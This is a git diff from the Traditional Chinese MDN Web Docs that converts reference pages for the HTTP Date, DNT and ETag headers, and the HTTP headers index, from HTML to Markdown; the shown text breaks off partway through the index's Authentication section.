-tags: -- General Header -- HTTP -- Reference -- header ---- -
{{HTTPSidebar}}
- -

Date 標頭的值是傳送當下的日期與時間。

- -
-

注意 Date 被列在 fetch spec 的 forbidden header names 清單中──也就是說這段程式不會送出 Date 標頭:

- -
fetch('https://httpbin.org/get', {
-    'headers': {
-        'Date': (new Date()).toUTCString()
-    }
-})
-
- - - - - - - - - - - - -
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
- -

語法

- -
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
-
- -

指令

- -
-
<day-name>
-
代表星期幾,為 Mon、Tue、Wed、Thu、Fri、Sat 或 Sun 之一(區分大小寫)。
-
<day>
-
二位數日期,比如「04」或「23」。
-
<month>
-
月份,為 Jan、Feb、Mar、Apr、May、Jun、Jul、Aug、Sep、Oct、Nov、Dec 之一(區分大小寫)。
-
<year>
-
四位數年份,比如「1990」或「2016」。
-
<hour>
-
二位數小時,比如「09」或「23」。
-
<minute>
-
二位數分鐘,比如「04」或「59」。
-
<second>
-
二位數秒,比如「04」或「59」。
-
GMT
-
-

格林威治標準時間的意思。在 HTTP 中日期都是採用 GMT,絕不會顯示當地時間。

-
-
- -

範例

- -
Date: Wed, 21 Oct 2015 07:28:00 GMT
-
- -
new Date().toUTCString()
-// "Mon, 09 Mar 2020 08:13:24 GMT"
- -

規格

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.Date")}}

- -

參閱

- -
    -
  • {{HTTPHeader("Age")}}
  • -
diff --git a/files/zh-tw/web/http/headers/date/index.md b/files/zh-tw/web/http/headers/date/index.md new file mode 100644 index 00000000000000..af6175fc2fd3da --- /dev/null +++ b/files/zh-tw/web/http/headers/date/index.md @@ -0,0 +1,75 @@ +--- +title: Date +slug: Web/HTTP/Headers/Date +tags: + - General Header + - HTTP + - Reference + - header +--- +{{HTTPSidebar}} + +**`Date`** 標頭的值是傳送當下的日期與時間。 + +> **警告:** `Date` 被列在 fetch spec 的 [forbidden header names](https://fetch.spec.whatwg.org/#forbidden-header-name) 清單中 ── 也就是說這段程式不會送出 `Date` 標頭:```js +> fetch('https://httpbin.org/get', { +> 'headers': { +> 'Date': (new Date()).toUTCString() +> } +> }) +> +> ``` +> +> ``` + +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | + +## 語法 + +```html +Date: , :: GMT +``` + +## 指令 + +- \ + - : 代表星期幾,為 Mon、Tue、Wed、Thu、Fri、Sat 或 Sun 之一(區分大小寫)。 +- \ + - : 二位數日期,比如「04」或「23」。 +- \ + - : 月份,為 Jan、Feb、Mar、Apr、May、Jun、Jul、Aug、Sep、Oct、Nov、Dec 之一(區分大小寫)。 +- \ + - : 四位數年份,比如「1990」或「2016」。 +- \ + - : 二位數小時,比如「09」或「23」。 +- \ + - : 二位數分鐘,比如「04」或「59」。 +- \ + - : 二位數秒,比如「04」或「59」。 +- GMT + - : 格林威治標準時間的意思。在 HTTP 中日期都是採用 GMT,絕不會顯示當地時間。 + +## 範例 + +```plain +Date: Wed, 21 Oct 2015 07:28:00 GMT +``` + +```js +new Date().toUTCString() +// "Mon, 09 Mar 2020 08:13:24 GMT" +``` + +## 規格 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.Date")}} + +## 參閱 + +- {{HTTPHeader("Age")}} diff --git a/files/zh-tw/web/http/headers/dnt/index.html b/files/zh-tw/web/http/headers/dnt/index.html deleted file mode 100644 index 0bdfdf19554cf0..00000000000000 --- a/files/zh-tw/web/http/headers/dnt/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: DNT -slug: Web/HTTP/Headers/DNT -translation_of: Web/HTTP/Headers/DNT ---- -
{{HTTPSidebar}}
- -

DNTDo Not Track,請勿追蹤)請求標頭表明用戶針對追蹤程式的設定。它能讓用戶表達自己相較於個人化設定,更在乎個人隱私。

- - - - - - - - - - - - -
標頭類型{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}
- -

語法

- -
DNT: 0
-DNT: 1
-
- -

指令

- -
-
0
-
用戶允許目標網站追蹤之。
-
1
-
用戶不允許目標網站追蹤。
-
- -

示例

- -

請參考 JavaScript 的 Do Not Track

- -

用戶的 DNT 設定也能透過 JavaScript 的 {{domxref("Navigator.doNotTrack")}} 設定檢查:

- -
navigator.doNotTrack; // "0" or "1"
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.DNT")}}

- -

參見

- - diff --git a/files/zh-tw/web/http/headers/dnt/index.md b/files/zh-tw/web/http/headers/dnt/index.md new file mode 100644 index 00000000000000..ac43b3d3cfbf76 --- /dev/null +++ b/files/zh-tw/web/http/headers/dnt/index.md @@ -0,0 +1,56 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +translation_of: Web/HTTP/Headers/DNT +--- +{{HTTPSidebar}} + +**`DNT`**(**D**o **N**ot **T**rack,**請勿追蹤**)請求標頭表明用戶針對追蹤程式的設定。它能讓用戶表達自己相較於個人化設定,更在乎個人隱私。 + +| 標頭類型 | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | 是 | + +## 語法 + +```plain +DNT: 0 +DNT: 1 +``` + +## 指令 + +- 0 + - : 用戶允許目標網站追蹤之。 +- 1 + - : 用戶不允許目標網站追蹤。 + +## 示例 + +### 請參考 JavaScript 的 Do Not Track + +用戶的 DNT 設定也能透過 JavaScript 的 {{domxref("Navigator.doNotTrack")}} 設定檢查: + +```js +navigator.doNotTrack; // "0" or "1" +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.DNT")}} + +## 參見 + +- {{domxref("Navigator.doNotTrack")}} +- {{HTTPHeader("Tk")}} 標頭 +- 維基百科的[Do Not Track](https://zh.wikipedia.org/zh-tw/%E8%AF%B7%E5%8B%BF%E8%BF%BD%E8%B8%AA) +- [What Does the "Track" in "Do Not Track" Mean? – EFF](https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean) +- [donottrack.us](http://donottrack.us/) +- 瀏覽器設定 DNT 的幫助: + + - [Firefox](https://www.mozilla.org/zh-tw/firefox/dnt/) + - [Chrome](https://support.google.com/chrome/answer/2790761) diff --git a/files/zh-tw/web/http/headers/etag/index.html b/files/zh-tw/web/http/headers/etag/index.html deleted file mode 100644 index c8c16d47bc1a72..00000000000000 --- a/files/zh-tw/web/http/headers/etag/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: ETag -slug: Web/HTTP/Headers/ETag -tags: - - HTTP - - Reference - - Response - - header ---- -
{{HTTPSidebar}}
- -

ETag 是 HTTP 回應標頭,用來標誌資源的版本。它可以使快取機制更有效率並節省頻寬, - 畢竟資料沒有變動的話,伺服器就不需要再次傳回整份資料。 - 而且,它還可以用來預防多人同步更新資料時覆蓋掉彼此的資料("mid-air collisions")。

- -

如果一個網址的資源有更新,就必須重新產生它的 Etag 值。 - 比較前後版本的 ETag 就能知道資源有沒有變化,所以 Etags 的作用就跟指紋一樣。有些伺服器便會把它用在追蹤用途上,而且可能會永久保存這些資訊。

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

Syntax

- -
ETag: W/"<etag_value>"
-ETag: "<etag_value>"
-
- -

Directives

- -
-
W/ {{optional_inline}}
-
'W/' (區分大小寫)表示資源使用 Weak etags。 - Weak etags 很容易產生,但較不適合用在版本比對;Strong etags 很難有效率的產生,但很適合用在版本比對。 - 同一資源的兩個 weak etags 一致時,可以視為是同個版本,但其內容並非分毫不差。 - 比如說 weak etags 可以用在 byte range requests 上預防快取,不過帶有 strong etags 的請求仍然可能被快取住。
-
"<etag_value>"
-
代表資源的版本。它的格式是由雙引號包著的 ASCII 字元組成的,像是: "675af34563dc-tr34"。 - 產生 ETag 值的方式沒有一定。不過通常會是資料的 hash 值、最後修改時間的 hash 值,或者是版本號。 - 比如說,MDN 就是使用 wiki 文章的十六進位內文 hash 值。
-
- -

範例

- -
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
-ETag: W/"0815"
- -

避免空中碰撞

- -

有了 ETag 以及 {{HTTPHeader("If-Match")}} 標頭,你可以偵測空中碰撞。

- -

比如說,在進入 wiki 編輯頁時,當下可以把內文的 hash 值放到 HTTP 回應中的 Etag 標頭:

- -
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
- -

當儲存更新時, {{HTTPMethod("POST")}} 請求就會有一個 {{HTTPHeader("If-Match")}} 標頭,其值為 ETag - 的值,這樣便可以用來檢查資料新鮮度。

- -
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
- -

如果 hash 沒有對上,就代表文件已經在你的編輯過程中,被別人先修改了,便會回傳 - {{HTTPStatus("412")}} Precondition Failed 錯誤。

- -

快取沒更新過的資源

- -

另一個 ETag 標頭的好用處是用來快取沒更新過的資源。如果一位使用者再次造訪一個網址(而且前一次有設定 ETag),而資源已經過期了(舊到不能用), - 則客戶端會把 ETag 的值放在 {{HTTPHeader("If-None-Match")}} 標頭內傳送:

- -
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
- -

伺服器會比對客戶端傳來的 ETag (放在 If-None-Match 標頭中) 與該資源在伺服器上的現有版本的 ETag 值,如果兩者一樣(代表沒更新過), - 伺服器便會傳回 {{HTTPStatus("304")}} Not Modified 狀態且不帶資料, - 這就可以讓客戶端知道自己快取住的版本仍然可用(可視為是新鮮的)。

- -

規格

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.ETag")}}

- -

See also

- - diff --git a/files/zh-tw/web/http/headers/etag/index.md b/files/zh-tw/web/http/headers/etag/index.md new file mode 100644 index 00000000000000..f0f0b96d43d436 --- /dev/null +++ b/files/zh-tw/web/http/headers/etag/index.md @@ -0,0 +1,97 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +tags: + - HTTP + - Reference + - Response + - header +--- +{{HTTPSidebar}} + +**`ETag`** 是 HTTP 回應標頭,用來標誌資源的版本。它可以使快取機制更有效率並節省頻寬, +畢竟資料沒有變動的話,伺服器就不需要再次傳回整份資料。 +而且,它還可以用來預防多人同步更新資料時覆蓋掉彼此的資料(["mid-air collisions"](#avoiding_mid-air_collisions))。 + +如果一個網址的資源有更新,就*必須*重新產生它的 `Etag` 值。 +比較前後版本的 ETag 就能知道資源有沒有變化,所以 Etags 的作用就跟指紋一樣。有些伺服器便會把它用在追蹤用途上,而且可能會永久保存這些資訊。 + +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## Syntax + +```html +ETag: W/"" +ETag: "" +``` + +## Directives + +- `W/` {{optional_inline}} + - : `'W/'` (區分大小寫)表示資源使用 [Weak etags](/zh-TW/docs/Web/HTTP/Conditional_requests#weak_validation)。 + Weak etags 很容易產生,但較不適合用在版本比對;Strong etags 很難有效率的產生,但很適合用在版本比對。 + 同一資源的兩個 weak etags 一致時,可以視為是同個版本,但其內容並非分毫不差。 + 比如說 weak etags 可以用在 [byte range requests](/zh-TW/docs/Web/HTTP/Headers/Accept-Ranges) 上預防快取,不過帶有 strong etags 的請求仍然可能被快取住。 +- "\" + - : 代表資源的版本。它的格式是由雙引號包著的 ASCII 字元組成的,像是: `"675af34563dc-tr34"`。 + 產生 `ETag` 值的方式沒有一定。不過通常會是資料的 hash 值、最後修改時間的 hash 值,或者是版本號。 + 比如說,MDN 就是使用 wiki 文章的十六進位內文 hash 值。 + +## 範例 + +```plain +ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +ETag: W/"0815" +``` + +### 避免空中碰撞 + +有了 `ETag` 以及 {{HTTPHeader("If-Match")}} 標頭,你可以偵測空中碰撞。 + +比如說,在進入 wiki 編輯頁時,當下可以把內文的 hash 值放到 HTTP 回應中的 `Etag` 標頭: + +```plain +ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +``` + +當儲存更新時, {{HTTPMethod("POST")}} 請求就會有一個 {{HTTPHeader("If-Match")}} 標頭,其值為 `ETag` +的值,這樣便可以用來檢查資料新鮮度。 + +```plain +If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" +``` + +如果 hash 沒有對上,就代表文件已經在你的編輯過程中,被別人先修改了,便會回傳 +{{HTTPStatus("412")}} `Precondition Failed` 錯誤。 + +### 快取沒更新過的資源 + +另一個 `ETag` 標頭的好用處是用來快取沒更新過的資源。如果一位使用者再次造訪一個網址(而且前一次有設定 `ETag`),而資源已經*過期*了(舊到不能用), +則客戶端會把 `ETag` 的值放在 {{HTTPHeader("If-None-Match")}} 標頭內傳送: + +```plain +If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" +``` + +伺服器會比對客戶端傳來的 `ETag` (放在 `If-None-Match` 標頭中) 與該資源在伺服器上的現有版本的 `ETag` 值,如果兩者一樣(代表沒更新過), +伺服器便會傳回 {{HTTPStatus("304")}} `Not Modified` 狀態且不帶資料, +這就可以讓客戶端知道自己快取住的版本仍然可用(可視為是*新鮮的*)。 + +## 規格 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.ETag")}} + +## See also + +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("304")}}` Not Modified` +- {{HTTPStatus("412")}}` Precondition Failed` +- [W3C Note: Editing the Web – Detecting + the Lost Update Problem Using Unreserved Checkout](https://www.w3.org/1999/04/Editing/) diff --git a/files/zh-tw/web/http/headers/index.html b/files/zh-tw/web/http/headers/index.html deleted file mode 100644 index 29169d6e60a07f..00000000000000 --- a/files/zh-tw/web/http/headers/index.html +++ /dev/null @@ -1,360 +0,0 @@ ---- -title: HTTP headers -slug: Web/HTTP/Headers -tags: - - HTTP - - Headers - - NeedsTranslation - - Networking - - Reference - - TopicStub -translation_of: Web/HTTP/Headers ---- -
{{HTTPSidebar}}
- -

HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':', then by its value (without line breaks). Leading white space before the value is ignored.

- -

Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in RFC 6648; others are listed in an IANA registry, whose original content was defined in RFC 4229. IANA also maintains a registry of proposed new HTTP message headers.

- -

Headers can be grouped according to their contexts:

- -
    -
  • {{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.
  • -
  • {{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.
  • -
  • {{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).
  • -
  • {{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.
  • -
- -

Headers can also be grouped according to how proxies handle them:

- -
-
End-to-end headers
-
These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.
-
Hop-by-hop headers
-
These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.
-
- -

The following list summaries HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.

- -

Authentication

- -
-
{{HTTPHeader("WWW-Authenticate")}}
-
Defines the authentication method that should be used to gain access to a resource.
-
{{HTTPHeader("Authorization")}}
-
Contains the credentials to authenticate a user agent with a server.
-
{{HTTPHeader("Proxy-Authenticate")}}
-
Defines the authentication method that should be used to gain access to a resource behind a Proxy server.
-
{{HTTPHeader("Proxy-Authorization")}}
-
Contains the credentials to authenticate a user agent with a proxy server.
-
- -

Caching

- -
-
{{HTTPHeader("Age")}}
-
The time in seconds the object has been in a proxy cache.
-
{{HTTPHeader("Cache-Control")}}
-
Specifies directives for caching mechanisms in both, requests and responses.
-
{{HTTPHeader("Expires")}}
-
The date/time after which the response is considered stale.
-
{{HTTPHeader("Pragma")}}
-
Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the Cache-Control header is not yet present.
-
{{HTTPHeader("Warning")}}
-
A general warning field containing information about possible problems.
-
- -

Client hints

- -
-
{{HTTPHeader("Accept-CH")}}
-
...
-
{{HTTPHeader("Content-DPR")}}
-
...
-
{{HTTPHeader("DPR")}}
-
...
-
{{HTTPHeader("Downlink")}}
-
...
-
{{HTTPHeader("Save-Data")}}
-
...
-
{{HTTPHeader("Viewport-Width")}}
-
...
-
{{HTTPHeader("Width")}}
-
...
-
- -
-
-

Conditionals

-
-
{{HTTPHeader("Last-Modified")}}
-
It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.
-
{{HTTPHeader("ETag")}}
-
It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.
-
{{HTTPHeader("If-Match")}}
-
Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.
-
{{HTTPHeader("If-None-Match")}}
-
Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.
-
{{HTTPHeader("If-Modified-Since")}}
-
Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.
-
{{HTTPHeader("If-Unmodified-Since")}}
-
Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.
-
- -

Connection management

- -
-
{{HTTPHeader("Connection")}}
-
Controls whether or not the network connection stays open after the current transaction finishes.
-
{{HTTPHeader("Keep-Alive")}}
-
Controls how long a persistent connection should stay open.
-
- -

Content negotiation

- -
-
{{HTTPHeader("Accept")}}
-
Informs the server about the types of data that can be sent back. It is MIME-type.
-
{{HTTPHeader("Accept-Charset")}}
-
Informs the server about which character set the client is able to understand.
-
{{HTTPHeader("Accept-Encoding")}}
-
Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.
-
{{HTTPHeader("Accept-Language")}}
-
Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).
-
- -
-
- -

Controls

- -
-
{{HTTPHeader("Expect")}}
-
...
-
{{HTTPHeader("Max-Forwards")}}
-
...
-
- -

Cookies

- -
-
{{HTTPHeader("Cookie")}}
-
Contains stored HTTP cookies previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.
-
{{HTTPHeader("Set-Cookie")}}
-
Send cookies from the server to the user agent.
-
{{HTTPHeader("Cookie2")}} {{Deprecated_Inline}}
-
Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.
-
{{HTTPHeader("Set-Cookie2")}} {{Deprecated_Inline}}
-
Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.
-
-

CORS

-
-
{{HTTPHeader("Access-Control-Allow-Origin")}}
-
Indicates whether the response can be shared.
-
{{HTTPHeader("Access-Control-Allow-Credentials")}}
-
Indicates whether or not the response to the request can be exposed when the credentials flag is true.
-
{{HTTPHeader("Access-Control-Allow-Headers")}}
-
Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.
-
{{HTTPHeader("Access-Control-Allow-Methods")}}
-
Specifies the method or methods allowed when accessing the resource in response to a preflight request.
-
{{HTTPHeader("Access-Control-Expose-Headers")}}
-
Indicates which headers can be exposed as part of the response by listing their names.
-
{{HTTPHeader("Access-Control-Max-Age")}}
-
Indicates how long the results of a preflight request can be cached.
-
{{HTTPHeader("Access-Control-Request-Headers")}}
-
Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.
-
{{HTTPHeader("Access-Control-Request-Method")}}
-
Used when issuing a preflight request to let the server know which HTTP method will be used when the actual request is made.
-
{{HTTPHeader("Origin")}}
-
Indicates where a fetch originates from.
-
- -

Do Not Track

- -
-
{{HTTPHeader("DNT")}}
-
Used for expressing the user's tracking preference.
-
{{HTTPHeader("Tk")}}
-
Indicates the tracking status that applied to the corresponding request.
-
- -

Downloads

- -
-
{{HTTPHeader("Content-Disposition")}}
-
Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.
-
- -

Message body information

- -
-
{{HTTPHeader("Content-Length")}}
-
indicates the size of the entity-body, in decimal number of octets, sent to the recipient.
-
{{HTTPHeader("Content-Type")}}
-
Indicates the media type of the resource.
-
{{HTTPHeader("Content-Encoding")}}
-
Used to specify the compression algorithm.
-
{{HTTPHeader("Content-Language")}}
-
Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
-
{{HTTPHeader("Content-Location")}}
-
Indicates an alternate location for the returned data.
-
-

Proxies

-
-
- -
-
{{HTTPHeader("Forwarded")}}
-
Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
-
{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}
-
Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.
-
{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}
-
Identifies the original host requested that a client used to connect to your proxy or load balancer.
-
{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}
-
identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.
-
{{HTTPHeader("Via")}}
-
Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.
-
- -

Redirects

- -
-
{{HTTPHeader("Location")}}
-
Indicates the URL to redirect a page to.
-
- -

Request context

- -
-
{{HTTPHeader("From")}}
-
Contains an Internet email address for a human user who controls the requesting user agent.
-
{{HTTPHeader("Host")}}
-
Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.
-
{{HTTPHeader("Referer")}}
-
The address of the previous web page from which a link to the currently requested page was followed.
-
{{HTTPHeader("Referrer-Policy")}}
-
Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.
-
{{HTTPHeader("User-Agent")}}
-
Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the Firefox user agent string reference.
-
- -

Response context

- -
-
{{HTTPHeader("Allow")}}
-
Lists the set of HTTP request methods support by a resource.
-
{{HTTPHeader("Server")}}
-
Contains information about the software used by the origin server to handle the request.
-
- -

Range requests

- -
-
{{HTTPHeader("Accept-Ranges")}}
-
Indicates if the server supports range requests and if so, in which unit the range can be expressed.
-
{{HTTPHeader("Range")}}
-
Indicates the part of a document that the server should return.
-
{{HTTPHeader("If-Range")}}
-
Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
-
{{HTTPHeader("Content-Range")}}
-
Indicates where in a full body message a partial message belongs.
-
- -

Security

- -
-
{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})
-
Controls resources the user agent is allowed to load for a given page.
-
{{HTTPHeader("Content-Security-Policy-Report-Only")}}
-
Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP POST request to the specified URI.
-
{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})
-
Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.
-
{{HTTPHeader("Public-Key-Pins-Report-Only")}}
-
Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.
-
- -
-
{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})
-
Force communication using HTTPS instead of HTTP.
-
{{HTTPHeader("Upgrade-Insecure-Requests")}}
-
Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.
-
- -
-
{{HTTPHeader("X-Content-Type-Options")}}
-
Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.
-
- -
-
{{HTTPHeader("X-Frame-Options")}} (XFO)
-
Indicates whether or not a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}
-
{{HTTPHeader("X-XSS-Protection")}}
-
Enables cross-site scripting filtering.
-
- -

Server-sent events

- -
-
{{HTTPHeader("Ping-From")}}
-
...
-
{{HTTPHeader("Ping-To")}}
-
...
-
{{HTTPHeader("Last-Event-ID")}}
-
...
-
- -

Transfer coding

- -
-
{{HTTPHeader("Transfer-Encoding")}}
-
Specifies the the form of encoding used to safely transfer the entity to the user.
-
{{HTTPHeader("TE")}}
-
Specifies the transfer encodings the user agent is willing to accept.
-
{{HTTPHeader("Trailer")}}
-
Allows the sender to include additional fields at the end of chunked message.
-
- -

WebSockets

- -
-
{{HTTPHeader("Sec-WebSocket-Key")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Extensions")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Accept")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Protocol")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Version")}}
-
...
-
- -

Other

- -
-
{{HTTPHeader("Date")}}
-
Contains the date and time at which the message was originated.
-
{{HTTPHeader("Large-Allocation")}}
-
Tells the browser that the page being loaded is going to want to perform a large allocation.
-
{{HTTPHeader("Link")}}
-
...
-
{{HTTPHeader("Retry-After")}}
-
Indicates how long the user agent should wait before making a follow-up request.
-
{{HTTPHeader("Upgrade")}}
-
This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, visit this Internet Standards reference, which is updated daily. The relevant RFC document for the Upgrade header field standard is RFC 7230, section 6.7. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field please see section 6.1 of the aforementioned RFC.
-
{{HTTPHeader("Vary")}}
-
Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.
-
{{HTTPHeader("X-DNS-Prefetch-Control")}}
-
Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.
-
{{HTTPHeader("X-Requested-With")}}
-
...
-
{{HTTPHeader("X-UA-Compatible")}}
-
...
-
- -

See also

- - diff --git a/files/zh-tw/web/http/headers/index.md b/files/zh-tw/web/http/headers/index.md new file mode 100644 index 00000000000000..60c234ba1409d5 --- /dev/null +++ b/files/zh-tw/web/http/headers/index.md @@ -0,0 +1,298 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +{{HTTPSidebar}} + +HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '`:`', then by its value (without line breaks). Leading white space before the value is ignored. + +Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in [RFC 6648](https://tools.ietf.org/html/rfc6648); others are listed in an [IANA registry](http://www.iana.org/assignments/message-headers/perm-headers.html), whose original content was defined in [RFC 4229](http://tools.ietf.org/html/rfc4229). IANA also maintains a [registry of proposed new HTTP message headers](http://www.iana.org/assignments/message-headers/prov-headers.html). + +Headers can be grouped according to their contexts: + +- {{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body. +- {{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself. +- {{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.). +- {{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type. + +Headers can also be grouped according to how proxies handle them: + +- End-to-end headers + - : These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them. +- Hop-by-hop headers + - : These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header. + +The following list summaries HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side. + +## Authentication + +- {{HTTPHeader("WWW-Authenticate")}} + - : Defines the authentication method that should be used to gain access to a resource. +- {{HTTPHeader("Authorization")}} + - : Contains the credentials to authenticate a user agent with a server. +- {{HTTPHeader("Proxy-Authenticate")}} + - : Defines the authentication method that should be used to gain access to a resource behind a Proxy server. +- {{HTTPHeader("Proxy-Authorization")}} + - : Contains the credentials to authenticate a user agent with a 